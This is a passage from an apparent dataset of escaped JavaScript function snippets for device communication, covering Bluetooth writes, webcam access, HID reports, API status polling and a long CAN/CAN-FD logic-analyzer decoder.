tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function _htob (hex) {\\n if (hex) {\\n if (typeof hex !== 'string') {\\n throw new TypeError('Expected input to be a string')\\n }\\n\\n if ((hex.length % 2) !== 0) {\\n throw new RangeError('Expected string to be an even number of characters')\\n }\\n\\n var view = new Uint8Array(hex.length / 2)\\n\\n for (var i = 0; i < hex.length; i += 2) {\\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\\n }\\n\\n return view\\n } else {\\n return null;\\n }\\n}\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"function getDeviceCapability()\\r\\n{\\r\\n\\txrxDeviceConfigGetDeviceCapabilities( \\\"http://127.0.0.1\\\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\\r\\n}\",\n \"getStatus() {\\n return new Promise((resolve, reject) => {\\n // send hex code for getting the status of power,rgb,warm\\n send(this.ip, hexToArray(\\\"81:8a:8b:96\\\"), (data, err) => {\\n if (err)\\n reject(err)\\n else {\\n if(data) {\\n const status = [];\\n for(let i = 0; i < data.length; i+=2){\\n status.push(data[i].concat(data[i+1]))\\n }\\n const power = status[2] === \\\"23\\\" ? \\\"on\\\" : \\\"off\\\"\\n \\n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\\n \\n const warm = parseInt(status[9], 16)\\n const out = {\\\"power\\\" : power, \\\"rgb\\\" : rgb, \\\"warm\\\" : warm}\\n resolve(out)\\n }\\n }\\n });\\n })\\n }\",\n \"getDeviceID(): Promise {\\n return HyperTrack.getDeviceID();\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function read(){\\n\\t\\t\\t\\n\\t\\t\\tvar deferred = $q.defer();\\n\\t\\t\\tserial.read(\\n\\t\\t\\t\\tfunction success(data){\\n\\t\\t\\t\\t\\tvar byteArray = new Uint8Array(data);\\n\\t\\t\\t\\t\\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tfunction error(){\\n\\t\\t\\t\\t\\tdeferred.reject(new Error());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t\\t\\n\\t\\t\\treturn deferred.promise;\\n\\t\\t\\t\\n\\t\\t}\",\n \"function getCCDA(url,uid,callback){\\n var options = {\\n host: api_domain,\\n path: url+'?api_key='+api_key+'&uid='+uid,\\n port: api_port\\n}\\n//Get the bindaas api\\nvar request = http.request(options, function (res) {\\n var data = '';\\n res.on('data', function (chunk) {\\n data += chunk;\\n });\\n res.on('end', function () {\\n callback(data);\\n });\\n });\\n request.on('error', function (e) {\\n console.log(e.message);\\n console.log(\\\"please check that your bindaas API is succesfully set up\\\");\\n });\\n request.end();\\n}\",\n \"readHydrawiseStatus(){\\n const cmd = hydrawise_url_status + \\\"api_key=\\\" + this.config.hydrawise_apikey;\\n\\n // execute only if apikey is defined in config page\\n if (this.config.hydrawise_apikey!=undefined){\\n this.log.info(\\\"send: \\\"+cmd);\\n //request(cmd, function (error, response, body){\\n request(cmd, (error, response, body) => {\\n\\n if (!error && response.statusCode == 200) {\\n // parse JSON response from Hydrawise controller\\n var obj = JSON.parse(body);\\n // read device config\\n hc6.nextpoll = parseInt(obj.nextpoll);\\n hc6.time = parseInt(obj.time);\\n hc6.message = obj.message;\\n this.log.info(\\\"nextpoll=\\\"+hc6.nextpoll+\\\" time=\\\"+hc6.time+\\\" message=\\\"+hc6.message);\\n \\n // read all configured sensors\\n for (let i=0; i<=1; i++){\\n // if sensor is configured\\n if (obj.sensors[i]!=null){\\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\\n // read all related relays\\n for (let j=0; j<=5; j++){\\n // if relay is configured\\n if (obj.sensors[i].relays[j]!=null){\\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\\n }\\n };\\n }\\n this.log.info(\\\"sensor\\\"+i+\\\": input=\\\"+hc6.sensors[i].input+\\\" type=\\\"+hc6.sensors[i].type+\\n \\\" mode=\\\"+hc6.sensors[i].mode+ \\\" timer=\\\"+hc6.sensors[i].timer+\\\" offtimer=\\\"+hc6.sensors[i].offtimer+\\n \\\" relay0=\\\"+hc6.sensors[i].relays[0]+\\\" relay1=\\\"+hc6.sensors[i].relays[1]+\\\" relay2=\\\"+hc6.sensors[i].relays[2]+\\n \\\" relay3=\\\"+hc6.sensors[i].relays[3]+\\\" relay4=\\\"+hc6.sensors[i].relays[4]+\\\" relay5=\\\"+hc6.sensors[i].relays[5]);\\n }\\n\\n // read all configured relays\\n for (let i=0; i<=5; i++){\\n if (obj.relays[i]!=null){\\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\\n hc6.relays[i].name = obj.relays[i].name;\\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\\n hc6.relays[i].type = parseInt(obj.relays[i].type);\\n hc6.relays[i].time = parseInt(obj.relays[i].time);\\n hc6.relays[i].run = parseInt(obj.relays[i].run);\\n hc6.relays[i].period = parseInt(obj.relays[i].period);\\n hc6.relays[i].timestr = obj.relays[i].timestr;\\n }\\n else{\\n hc6.relays[i].relay_id = 0;\\n hc6.relays[i].name = \\\"\\\";\\n hc6.relays[i].relay = 0;\\n hc6.relays[i].type = 0;\\n hc6.relays[i].time = 0;\\n hc6.relays[i].run = 0;\\n hc6.relays[i].period = 0;\\n hc6.relays[i].timestr = \\\"\\\";\\n }\\n this.log.info(\\\"relay\\\"+i+\\\": relay_id=\\\"+hc6.relays[i].relay_id+\\\" name=\\\"+hc6.relays[i].name+\\n \\\" relay=\\\"+hc6.relays[i].relay+\\\" type=\\\"+hc6.relays[i].type+\\\" time=\\\"+hc6.relays[i].time+\\n \\\" run=\\\"+hc6.relays[i].run+\\\" period=\\\"+hc6.relays[i].period+\\\" timestr=\\\"+hc6.relays[i].timestr);\\n }\\n }\\n })\\n }\\n }\",\n \"function getBufferRequest(opt, callback){\\n\\n\\topt.host = \\\"cloud.cadexchanger.com\\\";\\n\\topt.protocol = \\\"https:\\\";\\n\\topt.path = \\\"/api/v1\\\" + opt.path;\\n\\n\\tconst tmpFile = fs.createWriteStream(\\\"tmp.file\\\");\\n\\tconst req = https.get(opt, (res) => {\\n\\t\\tres.pipe(tmpFile);\\n\\n\\t\\ttmpFile.on('finish', () => {\\n\\t\\t\\t//tmpFile.close();\\n\\t\\t\\tcallback(fs.readFileSync(\\\"tmp.file\\\"));\\n\\t\\t\\tfs.unlink(\\\"tmp.file\\\", ()=>{});\\n\\t\\t});\\n\\t});\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function getDevicePromise(device) {\\n return fetch(\\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\\n )\\n .then(res => res.text())\\n .then(text => {\\n return text;\\n })\\n .then(parseDeviceIndex);\\n}\",\n \"function decode()\\n{\\n\\tget_ui_vals();\\n\\n\\n\\tif (typeof hex_opt === 'undefined')\\n\\t{\\n\\t\\thex_opt = 0;\\n\\t}\\n\\n\\n\\n\\tif (rate == 0)\\n\\t{\\n\\t\\treturn;\\n\\t}\\n\\n\\tspb = sample_rate / rate; \\t\\t// Calculate the number of Samples Per Bit.\\n\\n\\ttry\\n\\t{\\n\\t\\tspb_hs = sample_rate / high_rate;\\n\\t}\\n\\tcatch(e)\\n\\t{\\n\\t\\tspb_hs = sample_rate / 2000000;\\n\\t}\\n\\n\\tm = spb / 10; \\t\\t\\t\\t\\t// Margin = 1 tenth of a bit time (expresed in number of samples)\\n\\tm_hs = spb_hs / 10;\\n\\n\\tvar t = trs_get_first(ch);\\n\\n\\tchannel_color = get_ch_light_color(ch);\\n\\n\\twhile (trs_is_not_last(ch) && (stop == false))\\n\\t{\\n\\t if (abort_requested() == true)\\t\\t// Allow the user to abort this script\\n\\t\\t{\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\n\\t\\tswitch (state)\\n\\t\\t{\\n\\t\\t\\tcase GET_SOF:\\n\\n\\t\\t\\t\\twhile ((t.val != 0) && trs_is_not_last(ch))\\t\\t// Search for SOF\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_get_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\ts = t.sample + (spb * 0.5); \\t\\t// Position our reader on the middle of first bit\\n\\n\\t\\t\\t\\tbit_sampler_ini(ch,spb /2, spb); \\t// Initialize the bit sampler (to be able tu use \\\"bit_sampler_next()\\\")\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t\\t\\t\\t// Read and skip the start bit\\n\\n\\t\\t\\t\\tdec_item_new(ch,t.sample,t.sample + spb - m); \\t// Add the start bit item\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start of Frame\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"SOF\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"S\\\");\\n\\n\\t\\t\\t\\tpkt_start(\\\"CAN\\\");\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"SOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\n\\t\\t\\t\\tbits = [];\\n\\t\\t\\t\\trb = 0;\\n\\t\\t\\t\\tframe_length_in_sample = 0;\\n\\t\\t\\t\\tb = 0; sb = 0;\\n\\t\\t\\t\\tbit_pos = [];\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tdata_size = 0;\\n\\t\\t\\t\\tbits.push(0); \\t\\t// Add the start bit to the bits table\\n\\t\\t\\t\\tbit_pos.push(s); \\t// Add its position\\n\\t\\t\\t\\tb++;\\n\\t\\t\\t\\trb++;\\n\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\tlast_bit = 0;\\n\\t\\t\\t\\tstate = GET_ID;\\n\\t\\t\\t\\trtr_mode = false;\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tedl_mode = false;\\n\\t\\t\\t\\tpotential_overload = true; \\t// This *may* be the beginning of an overload frame\\n\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ID:\\n\\n\\t\\t\\t\\twhile (true) \\t// Read bits until we break\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (abort_requested() == true)\\t// Allow the user to abort this script\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false) break; \\t// Break on the first stuffing error\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bit\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif ((b == 14) && (bits[13] == 1))\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tide_mode = true;\\n\\t\\t\\t\\t\\t\\trtr_mode = false; \\t// Reset rtr, will be checked at bit 32\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (ide_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 33) && (bits[32] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 34) && (bits[33] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 13) && (bits[12] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 15) && (bits[14] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 41))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 22))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 39))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 19))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(edl_mode) //if it's CAN-FD\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 18; c < 22; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, 